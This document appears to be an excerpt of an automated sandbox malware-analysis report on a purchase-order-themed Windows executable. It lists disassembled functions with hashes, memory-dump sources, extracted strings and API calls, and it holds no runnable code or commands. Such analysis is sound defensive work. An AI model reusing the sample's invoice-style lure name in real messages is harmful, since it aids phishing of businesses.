Uniqueness Score: -1.00%

Function 052E8BD8 Relevance: 2.7, Strings: 2, Instructions: 238COMMON

Download Yara Rule

Strings

cz7, xrefs: 052E8C17
cz7, xrefs: 052E8BF7

Memory Dump Source

Source File: 00000008.00000002.339961824.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_52e0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID: cz7$cz7
API String ID: 0-559858401
Opcode ID: 6b5ccce1e48e1c5f1b0e49edc052a5bd7dcea036fab1970119f7978d5c0184e1
Instruction ID: ad9d211b59b3226d80f2b7db67d31b05c10c0c529e77bfba93039d2737be4d8c
Opcode Fuzzy Hash: 6b5ccce1e48e1c5f1b0e49edc052a5bd7dcea036fab1970119f7978d5c0184e1
Instruction Fuzzy Hash: DE918A71E1020A9FDF14CFA9C9847EEBBF2BF88714F588129E449A7294DB749845CB81

Uniqueness

Uniqueness Score: -1.00%

Function 052EE730 Relevance: 2.6, Strings: 2, Instructions: 115COMMON

Download Yara Rule

Strings

Hk:, xrefs: 052EE82F
\(6i, xrefs: 052EE782

Memory Dump Source

Source File: 00000008.00000002.339961824.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_52e0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID: \(6i$Hk:
API String ID: 0-1220916511
Opcode ID: d55220202b54bbf537321acf85289de20abee725c9eafcba7f25da1585cb2670
Instruction ID: 7a2d12bf0478ca44f0ff5f37272fc70efa395d61f134950225bb8efaa78dff34
Opcode Fuzzy Hash: d55220202b54bbf537321acf85289de20abee725c9eafcba7f25da1585cb2670
Instruction Fuzzy Hash: 944168B4E25209DFCB04CFA9D9856AEFBF6FF88300F10942AD415A7264D7789A01CF54

Uniqueness

Uniqueness Score: -1.00%

Function 052EEDF8 Relevance: 1.4, Strings: 1, Instructions: 183COMMON

Download Yara Rule

Strings

p`XR, xrefs: 052EEF34

Memory Dump Source

Source File: 00000008.00000002.339961824.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_52e0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID: p`XR
API String ID: 0-4121645860
Opcode ID: 4743b3a6097a5339a817305139aa7a2cd21b161408022512c458042c673bdd0e
Instruction ID: 655b1a7121fb1d2638a994657bb9aadaef6687bfec80000787b6be27f10c60ca
Opcode Fuzzy Hash: 4743b3a6097a5339a817305139aa7a2cd21b161408022512c458042c673bdd0e
Instruction Fuzzy Hash: 38711674E2520ACFCB04CFE5D4415AEBBB6EF89310F24942AD51AA7314E7389A028F95

Uniqueness

Uniqueness Score: -1.00%

Function 057FECE0 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.340731116.00000000057F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 057F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_57f0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebe52ac822b9882e308a0e25e98513e82b044c9c7e01e530e541cda282e6cb6f
Instruction ID: 8feff95301a2acdd9edac3e2ca5cfaef766a315f028d769d6fbf8251da1dab4f
Opcode Fuzzy Hash: ebe52ac822b9882e308a0e25e98513e82b044c9c7e01e530e541cda282e6cb6f
Instruction Fuzzy Hash: A512C6F1611F468BD310EF65F99C18A7BA1B746328BB0C609D2E11FADAD7B4114ACF84

Uniqueness

Uniqueness Score: -1.00%

Function 0637EE41 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.342713837.0000000006370000.00000040.00000800.00020000.00000000.sdmp, Offset: 06370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6370000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6862ce0e7775243165ed2fc3dbcc88b609d63cdbaa65dd7595b2603dcf98d86
Instruction ID: 3f76a8e2ecaf4444dcf561bf3f19cf9d2f0d48a9a90708528c0464cb8b328b39
Opcode Fuzzy Hash: d6862ce0e7775243165ed2fc3dbcc88b609d63cdbaa65dd7595b2603dcf98d86
Instruction Fuzzy Hash: 89D11835D2175A8BCB10EFA8D9946A9B771FFD6200F508B9AD0493B225EF706AC5CF40

Uniqueness

Uniqueness Score: -1.00%

Function 057FC9D4 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.340731116.00000000057F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 057F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_57f0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1ac9c8db7536a0d430a247d160edecbc5f7f02bdc38669ff7306ecc2dda235
Instruction ID: f4faacaf4aeeaac5ebae23892e62379f014879b72cd039fc160b2862f7a95626
Opcode Fuzzy Hash: 0e1ac9c8db7536a0d430a247d160edecbc5f7f02bdc38669ff7306ecc2dda235
Instruction Fuzzy Hash: 41A17E32E10619CFCF15DFB5C8489DEBBB6FF84300B15816AE905AB361EB31A945DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0637EE50 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.342713837.0000000006370000.00000040.00000800.00020000.00000000.sdmp, Offset: 06370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6370000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 538bb8266103625c91ab8b2f6a5511bfb7700ab020826de3aa561482b434c418
Instruction ID: 8604435ba2a0e51d700cc9261189b66092fdfff39b91dd14a5baa74271d17785
Opcode Fuzzy Hash: 538bb8266103625c91ab8b2f6a5511bfb7700ab020826de3aa561482b434c418
Instruction Fuzzy Hash: C8D1E735D2175A8BCB10EFA8D9946A9B771FFD6200F508B9AD04937225EF70AAC5CF40

Uniqueness

Uniqueness Score: -1.00%

Function 057FECD1 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.340731116.00000000057F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 057F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_57f0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c9e6de3cf12629dfbeade3c6a64872805cc151603eb4d6de989e9afb8437e34
Instruction ID: 046e12e502f631d54fd35186aef48e51c3096ea3e02ee532f67ad3b52c5a4ce4
Opcode Fuzzy Hash: 9c9e6de3cf12629dfbeade3c6a64872805cc151603eb4d6de989e9afb8437e34
Instruction Fuzzy Hash: 47C119B1A11B468BD310EF64F98C18A7BB1FB46324F70C609D1A12F6DAD7B4154ACF84

Uniqueness

Uniqueness Score: -1.00%

Function 052E0006 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.339961824.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_52e0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6d656d170563b4aeacbf289c8101f63940c47338d6a499497c96826ea06738b
Instruction ID: fd2725e2edec83186657bec4767d6fccd7143bd01d8cd4877729b60d4d28a276
Opcode Fuzzy Hash: a6d656d170563b4aeacbf289c8101f63940c47338d6a499497c96826ea06738b
Instruction Fuzzy Hash: 43718F70E142598FCB15CF69C98469EBBF3BF89200F64C1AAD408AB351D7749E42CF61

Uniqueness

Uniqueness Score: -1.00%

Function 052E0040 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.339961824.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_52e0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a1d4747c4f882f68276d4df4994dfb45238160e8a6a34d3b12e4fa90e956778
Instruction ID: 34ae1c34e6e133495f9fd43f976503a9489737e209aadcbc211fb7c7b41e92f8
Opcode Fuzzy Hash: 7a1d4747c4f882f68276d4df4994dfb45238160e8a6a34d3b12e4fa90e956778
Instruction Fuzzy Hash: BC612A70E142198BDB14CF6AD9846ADFBF3BF88300F64C1A9D408AB315DB749A42CF61

Uniqueness

Uniqueness Score: -1.00%

Function 052E7B3C Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.339961824.00000000052E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_52e0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 660dc2db23edea99a527af60d690f4a0a56f532522ef81c6768ea077729153aa
Instruction ID: 6e89f318434fc159675b531dd790f20e9047a9ccfe920215faa5c33acaa2e5af
Opcode Fuzzy Hash: 660dc2db23edea99a527af60d690f4a0a56f532522ef81c6768ea077729153aa
Instruction Fuzzy Hash: 85316D9241E7D00FC342A2BC9CB46C37F769F23255F0B58D7C0C0DB1E3E505894A8662

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exEPID: 7116, Parent PID: 6984COMMON

Execution Graph

Execution Coverage:	17.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	809
Total number of Limit Nodes:	120

Executed Functions

Function 08FB3B90 Relevance: 3.8, APIs: 2, Instructions: 793
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000014.00000002.747140902.0000000008FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8fb0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95ed338d5df961700ae1243279ac1e8a69d5eec3333920890f05d248d8b30e4f
Instruction ID: 91d8d5c5f868ecdcb22d0d3a244a9985dbb8a07109528b6efa498b7b45ae8862
Opcode Fuzzy Hash: 95ed338d5df961700ae1243279ac1e8a69d5eec3333920890f05d248d8b30e4f
Instruction Fuzzy Hash: DD82F474A41219CFDB64DF28D998BADBBB2FF4A301F1085A9D809A7390DB359D85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 01946BEB Relevance: 6.1, APIs: 4, Instructions: 124
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 01946C58
GetCurrentThread.KERNEL32 ref: 01946C95
GetCurrentProcess.KERNEL32 ref: 01946CD2
GetCurrentThreadId.KERNEL32 ref: 01946D2B

Memory Dump Source

Source File: 00000014.00000002.698157256.0000000001940000.00000040.00000800.00020000.00000000.sdmp, Offset: 01940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1940000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 7da28f174bdcd4ea73b0f5171ee3ded3ee7a6345be7514a8f153dd9b268ae30f
Instruction ID: 7cc42f5c4010c092700d212d506810026663de8230fa3144ad17a567c05025dc
Opcode Fuzzy Hash: 7da28f174bdcd4ea73b0f5171ee3ded3ee7a6345be7514a8f153dd9b268ae30f
Instruction Fuzzy Hash: 8F5163B4D012498FDB14DFAAD988B9EBFF1EF49304F20845AE019A7250D774A884CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 01946BF8 Relevance: 6.1, APIs: 4, Instructions: 120
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 01946C58
GetCurrentThread.KERNEL32 ref: 01946C95
GetCurrentProcess.KERNEL32 ref: 01946CD2
GetCurrentThreadId.KERNEL32 ref: 01946D2B

Memory Dump Source

Source File: 00000014.00000002.698157256.0000000001940000.00000040.00000800.00020000.00000000.sdmp, Offset: 01940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1940000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: c35fd32ababfda8b79ed64f55e73964c5b7c9647ed67ae4674295ce8c1bbe2cc
Instruction ID: 3a3983d58f44a32ca1e5a317087a0eb6af21b09751d3c2a92b91cb4225392014
Opcode Fuzzy Hash: c35fd32ababfda8b79ed64f55e73964c5b7c9647ed67ae4674295ce8c1bbe2cc
Instruction Fuzzy Hash: ED5173B4D012498FDB14DFAAD988BDEBBF5EF49304F208459E019A7250D774A884CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 08FB3F39 Relevance: 3.5, APIs: 2, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL ref: 08FB41A7
KiUserExceptionDispatcher.NTDLL ref: 08FB41B4

Memory Dump Source

Source File: 00000014.00000002.747140902.0000000008FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8fb0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 9ed3ccc39ea548998770f69d3672bb055e96670a3368cff3a1d2ed43199dc59b
Instruction ID: 10410c382df225976c510240322eefd5bf153cd26224fac9cad9a5f519cfc623
Opcode Fuzzy Hash: 9ed3ccc39ea548998770f69d3672bb055e96670a3368cff3a1d2ed43199dc59b
Instruction Fuzzy Hash: CC22C274A41219CFDB64DF28D999BADBBB2FB4A301F1094E9D80AA7390DB355D84CF10

Uniqueness

Uniqueness Score: -1.00%

Function 08FB86A0 Relevance: 1.7, APIs: 1, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MoveFileExW.KERNEL32(?,00000000,?), ref: 08FB892D

Memory Dump Source

Source File: 00000014.00000002.747140902.0000000008FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8fb0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: f8d82106d536573f0d7e6fe40408d9c9d2b0ca056505cd503538ec4a2c01aa33
Instruction ID: cbd7ebebe794655e1b815c4599cd1e49c469fabddac31530cba6a131341ee41d
Opcode Fuzzy Hash: f8d82106d536573f0d7e6fe40408d9c9d2b0ca056505cd503538ec4a2c01aa33
Instruction Fuzzy Hash: 40810474E112059FCB04DF79C4546AEBBF6AF85354F2480ADD804AB395EB358D06CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0194BC18 Relevance: 1.7, APIs: 1, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0194BE6E

Memory Dump Source

Source File: 00000014.00000002.698157256.0000000001940000.00000040.00000800.00020000.00000000.sdmp, Offset: 01940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1940000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 22e46c2fa8795438867ebf363c794f751d0494516144e56718229f9626c05453
Instruction ID: 0cdc402c3e5163b8f2499dc5a587dc671d1c1ef5ff84b1fe4aa67fef6536a32f
Opcode Fuzzy Hash: 22e46c2fa8795438867ebf363c794f751d0494516144e56718229f9626c05453
Instruction Fuzzy Hash: 3B813470A00B058FD724DF2AD494B6ABBF5FF88205F108A2ED09AD7A51DB35E845CF91

Uniqueness

Uniqueness Score: -1.00%

Function 08FB9928 Relevance: 1.7, APIs: 1, Instructions: 166
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 08FB9A74

Memory Dump Source

Source File: 00000014.00000002.747140902.0000000008FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8fb0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 66bc9f55dfd7151dfa134025ef981d26e2a58cfab1e5f08444c6604fd940e0c6
Instruction ID: 2b238800f375cbe0c48123eaf9175e862e5b1394766c3066343eda5f2e71bb48
Opcode Fuzzy Hash: 66bc9f55dfd7151dfa134025ef981d26e2a58cfab1e5f08444c6604fd940e0c6
Instruction Fuzzy Hash: 68611DB4E012489FCB58EFA9D994ADDFBB5FF84301F108429E415EB364DB74A846CB40

Uniqueness

Uniqueness Score: -1.00%

Function 08FB9938 Relevance: 1.7, APIs: 1, Instructions: 160
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 08FB9A74

Memory Dump Source

Source File: 00000014.00000002.747140902.0000000008FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8fb0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 2798db8640e01ab8afd82cb44ff9420be7fe8f031c60c8368f05b244be2bf652
Instruction ID: d507a815325ec2d7b54ffacf395338ffb806fbaea0c93c46e91bfc0e9a7c9e1b
Opcode Fuzzy Hash: 2798db8640e01ab8afd82cb44ff9420be7fe8f031c60c8368f05b244be2bf652
Instruction Fuzzy Hash: 44510EB5E002089FCB58EFA9D994ADDFBB5FF84341F108529E415AB364DF70A846CB40

Uniqueness

Uniqueness Score: -1.00%

Function 08FB8C44 Relevance: 1.6, APIs: 1, Instructions: 119
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumThreadWindows.USER32(?,00000000,?), ref: 08FB9C91

Memory Dump Source

Source File: 00000014.00000002.747140902.0000000008FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8fb0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 604bb38ee63050ea27878a9b772248958e67d0ad41fe86d3295b3de809d94764
Instruction ID: 005a59d14c644866b5b0c65b657f2aa64c87eb6da8f6271e5c43808f0612d07e
Opcode Fuzzy Hash: 604bb38ee63050ea27878a9b772248958e67d0ad41fe86d3295b3de809d94764
Instruction Fuzzy Hash: F941D4B1E002059FCB10DFAAC840BEEBFF5EF88310F14842AD455A7391DB789902CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0194DCCD Relevance: 1.6, APIs: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0194DDEA

Memory Dump Source

Source File: 00000014.00000002.698157256.0000000001940000.00000040.00000800.00020000.00000000.sdmp, Offset: 01940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1940000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 9612465aba3fef5f188f7cb5ec87f72c3b965485e31e5c804501ba06532b499e
Instruction ID: faa454ae7ab3484c5b4dd1b4ba9a4b3c5e79f600a6c1e366cb0c2662955803a2
Opcode Fuzzy Hash: 9612465aba3fef5f188f7cb5ec87f72c3b965485e31e5c804501ba06532b499e
Instruction Fuzzy Hash: 7B51D1B5D003099FDB15CFAAC884ADEBFF5BF59310F24812AE819AB210D7749945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0194DCD8 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0194DDEA

Memory Dump Source

Source File: 00000014.00000002.698157256.0000000001940000.00000040.00000800.00020000.00000000.sdmp, Offset: 01940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1940000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 10da185c670ad5979ce1fd6b4746183bd5e08b72f867fcabf51e44b7b2f8a0b5
Instruction ID: 6cbb48bbc3be95e608e553d62ba667509f4771cd8213c6e1625bee38bb8132ed
Opcode Fuzzy Hash: 10da185c670ad5979ce1fd6b4746183bd5e08b72f867fcabf51e44b7b2f8a0b5
Instruction Fuzzy Hash: A041A0B5D003099FDB14CF9AC984ADEBFF5BF98314F24812AE819AB210D775A945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 08FBC811 Relevance: 1.6, APIs: 1, Instructions: 110
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageW.USER32(?,0000044A,?,00000000), ref: 08FBC8FA

Memory Dump Source

Source File: 00000014.00000002.747140902.0000000008FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8fb0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 13eb5d73db401a42266c483febacdabfffe825feca0145a14ae84e66ed7b7814
Instruction ID: 19de9bbeef0b14c31c1e1778764c29b84b000392a28e5013791b73c3dca82d8c
Opcode Fuzzy Hash: 13eb5d73db401a42266c483febacdabfffe825feca0145a14ae84e66ed7b7814
Instruction Fuzzy Hash: 0B41E2B1D003499FDB24CFAAD884BDEBBB2AF49314F24852EE015AB250D7749885CF65

Uniqueness

Uniqueness Score: -1.00%

Function 08FB8E7C Relevance: 1.6, APIs: 1, Instructions: 103
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageW.USER32(?,0000044A,?,00000000), ref: 08FBC8FA

Memory Dump Source

Source File: 00000014.00000002.747140902.0000000008FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8fb0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 43870434525f879c02537210d7c199cadeba92dd79c1e2419d2f51afe9c86cd3
Instruction ID: 1c88d86c67642ef2e998ade9df7206007753052993ebb6692cd3560d64b8f4d5
Opcode Fuzzy Hash: 43870434525f879c02537210d7c199cadeba92dd79c1e2419d2f51afe9c86cd3
Instruction Fuzzy Hash: 6A41F4B1D00348DBDB24CFAAD884BDEBBF1AF48315F24852AE415B7240D7749885CF55

Uniqueness

Uniqueness Score: -1.00%

Function 08FB67B8 Relevance: 1.6, APIs: 1, Instructions: 70COMMON

Download Yara Rule

APIs

MoveFileExW.KERNEL32(?,00000000,?), ref: 08FB892D

Memory Dump Source

Source File: 00000014.00000002.747140902.0000000008FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8fb0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: c78c02d3437213f440b0c2771289ec892ea7b62d874d7360651425e40f70ff58
Instruction ID: 1a30336446b225de83ce75a18f701ae28939c6d28f4e54c57ae498be38ef9cec
Opcode Fuzzy Hash: c78c02d3437213f440b0c2771289ec892ea7b62d874d7360651425e40f70ff58
Instruction Fuzzy Hash: C52148B5D012199FCB10CFAAD9807DEBBF5EF88350F24816AE814AB240D7749A40CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 08FBB860 Relevance: 1.6, APIs: 1, Instructions: 69timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 08FBB905

Memory Dump Source

Source File: 00000014.00000002.747140902.0000000008FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8fb0000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 198e1768893e4fdc8a76fe6b867365fab22c694af905069be3e60ae02f2cb04b
Instruction ID: 20ebb6781056cd02bce2006df6dcba027c0028bb453467d98fc0c3a8d5374c67
Opcode Fuzzy Hash: 198e1768893e4fdc8a76fe6b867365fab22c694af905069be3e60ae02f2cb04b
Instruction Fuzzy Hash: A321A7B58093889FCB12CFA9C954BCEBFF4AF06214F19849ED454EB252C3749544CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 08F28828 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetTextExtentPoint32W.GDI32(?,?,?,?,?,?,?,?,?,?,?,?,08F28817,?,?,?), ref: 08F288B6

Memory Dump Source

Source File: 00000014.00000002.746849626.0000000008F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8f20000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: ExtentPoint32Text
String ID:
API String ID: 223599850-0
Opcode ID: ff672b58a3ef4bb14ae4c6442cc9429105c8c5b4976b84e9c98dce71a4e94be9
Instruction ID: 605c3ac2f66d41f2fb6c9a981d40098d8ccd4a59c830b43ada02619cb4a64971
Opcode Fuzzy Hash: ff672b58a3ef4bb14ae4c6442cc9429105c8c5b4976b84e9c98dce71a4e94be9
Instruction Fuzzy Hash: 3921F0B5D012099FDB10CFAAD980ADEBBF5FB48354F24842EE815A7300D375AA44CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 08F27F74 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetTextExtentPoint32W.GDI32(?,?,?,?,?,?,?,?,?,?,?,?,08F28817,?,?,?), ref: 08F288B6

Memory Dump Source

Source File: 00000014.00000002.746849626.0000000008F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_8f20000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: ExtentPoint32Text
String ID:
API String ID: 223599850-0
Opcode ID: 4bb2d7cf5546189be474a76e4ea55a41f1fd325a705f95b083a28bbda4a19177
Instruction ID: c90b320d814f1af0fe144cbf9d5f69da9798732fe5e611f7b596d8a371ef7134
Opcode Fuzzy Hash: 4bb2d7cf5546189be474a76e4ea55a41f1fd325a705f95b083a28bbda4a19177
Instruction Fuzzy Hash: BC2122B5D01319DFDB10CFAAD980ADEBBF5EB48354F24842EE419A7300D374A944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 01946E18 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 01946EA7

Memory Dump Source

Source File: 00000014.00000002.698157256.0000000001940000.00000040.00000800.00020000.00000000.sdmp, Offset: 01940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1940000_PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 71158a011f606467d5d7d75a29f8c07a65025d5a83eb54deba226db5a34573f8
Instruction ID: 280242ed97868d05e77bf71995cf9dd8e63f95bdbc37deac15d0ebba7041b6ed
Opcode Fuzzy Hash: 71158a011f606467d5d7d75a29f8c07a65025d5a83eb54deba226db5a34573f8
Instruction Fuzzy Hash: 962103B59002489FDB10CFAAD984ADEBFF5EB48314F24841AE818A3310D378A954CFA1

Uniqueness

Uniqueness Score: -1.00%

